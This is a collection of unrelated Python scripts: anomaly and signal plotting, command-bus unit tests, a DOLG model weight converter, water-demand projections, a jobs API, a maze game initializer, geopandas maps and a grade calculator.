            event_end = row['end']
            label_data.loc[event_start:event_end, 'Label'] = 1.0

        ax[ax_id].plot(label_data['Label'], color='tab:green', linewidth=0.5)
        ax[ax_id].set_xlim(start, end)
        ax[ax_id].fill_between(label_index,
                               y1=label_data['Label'],
                               y2=0,
                               alpha=0.1,
                               color='tab:green',
                               label='Real anomaly range (label)')
        ax[ax_id].axes.get_xaxis().set_ticks([])
        ax[ax_id].axes.get_yaxis().set_ticks([])
        ax[ax_id].set_xlabel('Anomaly ranges (labels)', fontsize=12)

    # Add the labels (anomaly range) on a
    # third plot located below the main ones:
    if predictions is not None:
        pred_index = pd.date_range(
            start=data.index.min(),
            end=data.index.max(),
            freq='1min')
        pred_data = pd.DataFrame(index=pred_index)

        if type(predictions) == pd.core.frame.DataFrame:
            ax_id += 1
            pred_data.loc[:, 'prediction'] = 0.0

            for index, row in predictions.iterrows():
                event_start = row['start']
                event_end = row['end']
                pred_data.loc[event_start:event_end, 'prediction'] = 1.0

            ax[ax_id].plot(pred_data['prediction'],
                           color='tab:red',
                           linewidth=0.5)
            ax[ax_id].set_xlim(start, end)
            ax[ax_id].fill_between(pred_index,
                                   y1=pred_data['prediction'],
                                   y2=0,
                                   alpha=0.1,
                                   color='tab:red')
            ax[ax_id].axes.get_xaxis().set_ticks([])
            ax[ax_id].axes.get_yaxis().set_ticks([])
            ax[ax_id].set_xlabel('Anomaly ranges (Prediction)', fontsize=12)

        elif type(predictions) == list:
            for prediction_index, p in enumerate(predictions):
                ax_id += 1
                pred_data.loc[:, 'prediction'] = 0.0

                for index, row in p.iterrows():
                    event_start = row['start']
                    event_end = row['end']
                    pred_data.loc[event_start:event_end, 'prediction'] = 1.0

                if shutdown_ranges_df is not None:
                    for index, row in shutdown_ranges_df.iterrows():
                        shutdown_start = row['start']
                        shutdown_end = row['end']
                        pred_data.loc[shutdown_start:shutdown_end, 'prediction'] = 0.0

                ax[ax_id].plot(pred_data['prediction'],
                               color='tab:red',
                               linewidth=0.5)
                ax[ax_id].set_xlim(start, end)
                ax[ax_id].fill_between(pred_index,
                                       y1=pred_data['prediction'],
                                       y2=0,
                                       alpha=0.1,
                                       color='tab:red')
                ax[ax_id].axes.get_xaxis().set_ticks([])
                ax[ax_id].axes.get_yaxis().set_ticks([])
                ax[ax_id].set_xlabel(
                    prediction_titles[prediction_index],
                    fontsize=12
                )

    # Show the plot with a legend:
    ax[0].legend(fontsize=10, loc='upper right', framealpha=0.4)

    return fig, ax


# -*- coding: utf-8 -*-

from unittest.mock import Mock

from bench.app.core.command_bus.bus import CommandMapping
from bench.app.core.command_bus.structures import Command
from bench.app.core.command_bus.middlewares import CommandExecutorMiddleware

def test_it_should_inform_when_handler_not_found_for_command():
    # given
    not_mapped_command = Command()
    commands_mapping = CommandMapping()

    # then
    try:
        command_executor = CommandExecutorMiddleware(commands_mapping)
        command_executor.execute(not_mapped_command)
        assert False
    except RuntimeError:
        assert True

def test_it_should_find_handler_for_command():
    # given
    command_handler = Mock()
    commands_mapping = CommandMapping()
    commands_mapping.register_command(Command, command_handler)

    #  when
    command_executor = CommandExecutorMiddleware(commands_mapping)
    command_executor.execute(Command())

    # then
    command_handler.handle.assert_called_once_with(Command())


from sig import Signal
import matplotlib.pyplot as plt
import numpy as np

def plot(sig):
    ax = plt.subplot(2, 1, 1)
    plt.title("Signal")
    plt.xlabel("Zeit[s]")
    plt.ylabel("Signalamplitude[cm]")
    time = np.linspace(0, 80.0 * sig.num_measurements() / 1000.0, sig.num_measurements())
    ax.plot(time, sig.measurements, label="Signal")
    ax.axhline(y=sig.central_moment(k=3, normed=True), label="normierte Schiefe", color=(0.0, 1.0, 0.0, 1.0))
    legend = ax.legend(loc='upper right', shadow=True)

    ax = plt.subplot(2, 1, 2)
    plt.title("Normiertes Histogramm")
    plt.xlabel("Signalamplitude[cm]")
    plt.ylabel("Relative Häufigkeit")
    ax.bar(sig.x, sig.p, width=0.3)

    plt.show()

if __name__ == "__main__":
    sig = Signal()
    sig.load_from_file("data/a10.txt")
    plot(sig)


# -*- coding: utf-8 -*-
import sys, os
from dolg.dolg_model_tf2 import DOLG
from dolg.resnet_tf2 import ResNet
from dolg.utils.convert_pt_to_tf2 import assign_globalmodel, assign_localmodel
from tensorflow.keras import Input, Model
import cv2
import numpy as np
import torch
import tensorflow as tf

if __name__ == "__main__":
    depth = 50
    data = torch.load(f"../weights/r{depth}_dolg_512.pt")
    backbone = ResNet(depth=depth, num_groups=1, width_per_group=64, bn_eps=1e-5,
                 bn_mom=0.1, trans_fun="bottleneck_transform", name="globalmodel")
    model = DOLG(backbone, s4_dim=2048, s3_dim=1024, s2_dim=512, head_reduction_dim=512,
                 with_ma=True, num_classes=81313, pretrained=None)

    for l in model.layers:
        print(l.name)
        #print(l.name, l.output_shape)
        if l.name =="localmodel":
            l, data = assign_localmodel(l, data)
        elif l.name == "fc":
            l.kernel.assign(data["fc.weight"].transpose(1,0))
            l.bias.assign(data["fc.bias"])
            del data["fc.weight"], data["fc.bias"]
        elif l.name == "fc_t":
            l.kernel.assign(data["fc_t.weight"].transpose(1,0))
            l.bias.assign(data["fc_t.bias"])
            del data["fc_t.weight"], data["fc_t.bias"]
        elif l.name =="globalmodel":
            l, data = assign_globalmodel(l, data)
        elif l.name == "pool_g":
            l.weights[0].assign(data["pool_g.p"])
            del data["pool_g.p"]
        elif l.name == "desc_cls":
            l.weight.assign(data["desc_cls.weight"].transpose(1,0))
            l.t.assign(data["desc_cls.t"])
            del data["desc_cls.weight"], data["desc_cls.t"]
        else:
            print(l.name)

    model.save_weights( f"../weights/r{depth}_dolg_512_from_pt.h5")


"""Script used to calculate projected water needs for different population growth scenarios"""

# required packages
import pandas as pd
import numpy as np

# conversion factors
millions = 1000000
billions = 1000000000

# import historical water data
water_data = pd.read_csv("water_data.csv",
                         index_col = 0)

# get water data from natural sources
water_data['natural_prod'] = water_data.iloc[:,[3,4,5,8,9]].sum(axis=1)

# get treated wastewater
water_data['tww'] = water_data.iloc[:,[6,10]].sum(axis=1)

# focus on last 10 years
recent_water_data=water_data[-11:]

# calculate average per capita use based on last 10 years
total_per_cap = np.mean(recent_water_data.Total_Consump*millions/recent_water_data.Population)
domstic_per_cap = np.mean(recent_water_data.Domestic*millions/recent_water_data.Population)
total_natural = np.mean(recent_water_data.natural_prod)*millions
tww_dom_ratio = np.mean(recent_water_data.tww/recent_water_data.Domestic)

# create new dataframes for different growth scenarios
columns = ['population',
           'total_demand',
           'domestic',
           'natural',
           'tww',
           'desal',
           'total_supply']
new_index=np.arange(2021, 2066)

low_growth = pd.DataFrame(index=new_index,
                          columns = columns,
                          dtype=object)

med_growth = pd.DataFrame(index=new_index,
                          columns = columns,
                          dtype=object)

high_growth = pd.DataFrame(index=new_index,
                          columns = columns,
                          dtype=object)

# add future population
future_df = pd.read_csv("future_populations.csv", index_col=0)
future_df=future_df.loc[2021:2066]

low_growth['population'] = future_df.low_pop
med_growth['population'] = future_df.med_pop
high_growth['population'] = future_df.high_pop

# rate of decline for natural production
nat_decline = np.linspace(1, 0.8, len(new_index))

# calculate demand and expected desal capacity
scenarios = [low_growth, med_growth, high_growth]

for scen in scenarios:
    # demand
    scen['total_demand'] = scen['population']*total_per_cap
    scen['domestic'] = scen['population']*domstic_per_cap

    # supply
    scen['natural'] = total_natural*nat_decline
    scen['tww'] = scen['domestic']*tww_dom_ratio
    scen['desal'] = scen['total_demand'] - scen['natural'] - scen['tww']

    scen['new_desal'] = scen.desal.diff()/millions
    scen['plants'] = np.floor(scen['desal']/(millions*100))


import services.accounts
import services.exp as exp
import services.jobs
from controllers.api.base import (
    handle_exception,
    humanlink_api,
    get_current_user,
    user_required,
)
from models.api.base import (SimpleRequest, SimpleResponse)
from models.api.jobs import (JobApiModel, SelectApplicantRequest)

from protorpc import remote

@humanlink_api.api_class(resource_name='jobs', path='jobs')
class JobsApi(remote.Service):

    @SimpleRequest.method(name='get', path='{job_id}', http_method='GET',
                          request_fields=('job_id',),
                          response_message=JobApiModel.ProtoModel())
    @user_required
    def get(self, req):
        """Retrieve job details.

        :param req.job_id: (int) ID of the job to retrieve.
        """
        job_id = req.job_id
        try:
            account = get_current_user()
            job_dto = services.jobs.get_by_id(account.id, job_id)
            api_model = JobApiModel.from_job_dto(job_dto)
            return api_model
        except exp.ServiceExp as e:
            handle_exception(e)

    @SimpleRequest.method(name='posted', path='posted', http_method='GET',
                          request_fields=(),
                          response_message=JobApiModel.ProtoCollection())
    @user_required
    def posted(self, req):
        """Retrieve jobs posted by the current account."""
        try:
            account = get_current_user()
            job_dtos = services.jobs.posted_jobs(account.id)
            api_models = [JobApiModel.from_job_dto(j) for j in job_dtos]
            return JobApiModel.ProtoCollection()(items=api_models)
        except exp.ServiceExp as e:
            handle_exception(e)

    @SimpleRequest.method(name='selected', path='selected', http_method='GET',
                          request_fields=(),
                          response_message=JobApiModel.ProtoCollection())
    @user_required
    def selected(self, req):
        """Retrieve jobs which the current account was selected for."""
        try:
            account = get_current_user()
            job_dtos = services.jobs.selected_jobs(account.id)
            api_models = [JobApiModel.from_job_dto(j) for j in job_dtos]
            return JobApiModel.ProtoCollection()(items=api_models)
        except exp.ServiceExp as e:
            handle_exception(e)

    @SimpleRequest.method(name='applied', path='applied', http_method='GET',
                          request_fields=(),
                          response_message=JobApiModel.ProtoCollection())
    @user_required
    def applied(self, req):
        """Retrieve jobs for which the current account applied."""
        try:
            account = get_current_user()
            job_dtos = services.jobs.applied_jobs(account.id)
            api_models = [JobApiModel.from_job_dto(j) for j in job_dtos]
            return JobApiModel.ProtoCollection()(items=api_models)
        except exp.ServiceExp as e:
            handle_exception(e)

    @SimpleRequest.method(name='nearby', path='nearby', http_method='GET',
                          request_fields=(),
                          response_message=JobApiModel.ProtoCollection())
    @user_required
    def nearby(self, req):
        """Retrieve jobs nearby the current account."""
        try:
            account = get_current_user()
            job_dtos = services.jobs.nearby_jobs(account.id)
            api_models = [JobApiModel.from_job_dto(j) for j in job_dtos]
            return JobApiModel.ProtoCollection()(items=api_models)
        except exp.ServiceExp as e:
            handle_exception(e)

    @JobApiModel.method(name='update', path='update', http_method='POST',
                        response_message=JobApiModel.ProtoModel())
    @user_required
    def update(self, req):
        """Create or update a job."""
        try:
            account = get_current_user()
            job_dto = JobApiModel.to_job_dto(req)
            if job_dto.id is not None:
                job_dto = services.jobs.update_job(account.id, job_dto)
            else:
                job_dto = services.jobs.create_job(account.id, job_dto)
            api_model = JobApiModel.from_job_dto(job_dto)
            return api_model
        except exp.ServiceExp as e:
            handle_exception(e)

    @SimpleRequest.method(name='apply', path='apply', http_method='POST',
                          request_fields=('job_id',),
                          response_message=SimpleResponse.ProtoModel())
    @user_required
    def apply(self, req):
        """Apply for a job.

        :param req.job_id: (int) ID of the job.
        """
        resp = SimpleResponse()
        job_id = req.job_id
        try:
            account = get_current_user()
            services.jobs.apply_job(account.id, job_id)
            return resp.ToMessage()
        except exp.ServiceExp as e:
            handle_exception(e)

    @SelectApplicantRequest.method(name='select_applicant',
                                   path='select_applicant', http_method='POST',
                                   response_message=SimpleResponse.ProtoModel())
    @user_required
    def select_applicant(self, req):
        """Select an applicant for the job."""
        resp = SimpleResponse()
        job_id, caregiver_id = req.job_id, req.caregiver_id
        try:
            account = get_current_user()
            services.jobs.select_applicant(account.id, job_id, caregiver_id)
            return resp.ToMessage()
        except exp.ServiceExp as e:
            handle_exception(e)

    @SimpleRequest.method(name='cancel', path='cancel', http_method='POST',
                          request_fields=('job_id',),
                          response_message=SimpleResponse.ProtoModel())
    @user_required
    def cancel(self, req):
        """Cancel a job.

        :param req.job_id: (int) ID of the job.
        """
        resp = SimpleResponse()
        job_id = req.job_id
        try:
            account = get_current_user()
            services.jobs.cancel_job(account.id, job_id)
            return resp.ToMessage()
        except exp.ServiceExp as e:
            handle_exception(e)


from copy import deepcopy

from pyrat_engine.initializer.configs import MazeConfig, PlayerConfig
from pyrat_engine.initializer.mud_generator import MudGenerator
from pyrat_engine.initializer.random_state_generators import (
    CheeseGenerator,
    PlayerPositionGenerator,
    WallsGenerator,
)
from pyrat_engine.state.base import CurrentGameState, HistoricGameState

class CurrentStateInitializer:
    """An initializer creates a CurrentGameState from initialization configurations"""

    def __init__(
        self,
        player_config: PlayerConfig = None,
        maze_config: MazeConfig = None,
    ):
        self.player_config = (
            player_config if player_config is not None else PlayerConfig()
        )
        self.maze_config = maze_config if maze_config is not None else MazeConfig()

    def __call__(self) -> CurrentGameState:
        p1_pos, p2_pos = PlayerPositionGenerator(
            maze_width=self.maze_config.width, maze_height=self.maze_config.height
        ).from_config(self.player_config)
        cheese_list = CheeseGenerator(p1_pos=p1_pos, p2_pos=p2_pos).from_maze_config(
            self.maze_config
        )
        walls = WallsGenerator().from_maze_config(self.maze_config)

        mud = MudGenerator().from_maze_config_and_walls(
            maze_config=self.maze_config, walls=walls
        )

        return CurrentGameState(
            maze_width=self.maze_config.width,
            maze_height=self.maze_config.height,
            player1_pos=p1_pos,
            player2_pos=p2_pos,
            current_cheese_list=cheese_list,
            walls=walls,
            mud=mud,
        )

class HistoricStateInitializer:
    """An initializer creates a PGN from initialization configurations"""

    def __init__(
        self,
        player_config: PlayerConfig = None,
        maze_config: MazeConfig = None,
    ):
        self.player_config = player_config if player_config else PlayerConfig()
        self.maze_config = maze_config if maze_config else MazeConfig()

    def __call__(self) -> HistoricGameState:
        current_game_state = CurrentStateInitializer(
            maze_config=self.maze_config, player_config=self.player_config
        )()

        return HistoricGameState(
            current_game_state=current_game_state,
            original_cheese_list=deepcopy(current_game_state.current_cheese_list),
            player1_moves_history=[],
            player2_moves_history=[],
        )


import geopandas
import matplotlib.pyplot as plt
import geoplot

world = geopandas.read_file(
    geopandas.datasets.get_path('naturalearth_lowres')
)
powiaty = 'powiaty.gpkg'

gdf = geopandas.read_file(powiaty, layer='powiaty')
gdf['area'] = gdf['geometry'].area

print(gdf.columns)

fig, ax = plt.subplots(1, figsize=(14, 14))
gdf.plot(ax=ax, edgecolor='0.4', linewidth=0.5,
         column='area', cmap='Greens', legend=True, scheme='quantiles',k=5)
ax.axis('off')
plt.show()

africa = world.query('continent == "Africa"')
#print(af)
ax = geoplot.cartogram(
    africa, scale='pop_est', limits=(0.2, 1),
    edgecolor='None', figsize=(7, 8)
)
geoplot.polyplot(africa, edgecolor='gray', ax=ax)
plt.show()


nota1 = float(input("Digiete a primeira nota: "))
nota2 = float(input("Digite a segunda nota: "))

notaFinal = nota1 + nota2

print(f"NOTA FINAL = {notaFinal:.1f}")

if notaFinal >= 60.00:
    print("APROVADO!")
else:
    print("REPROVADO!")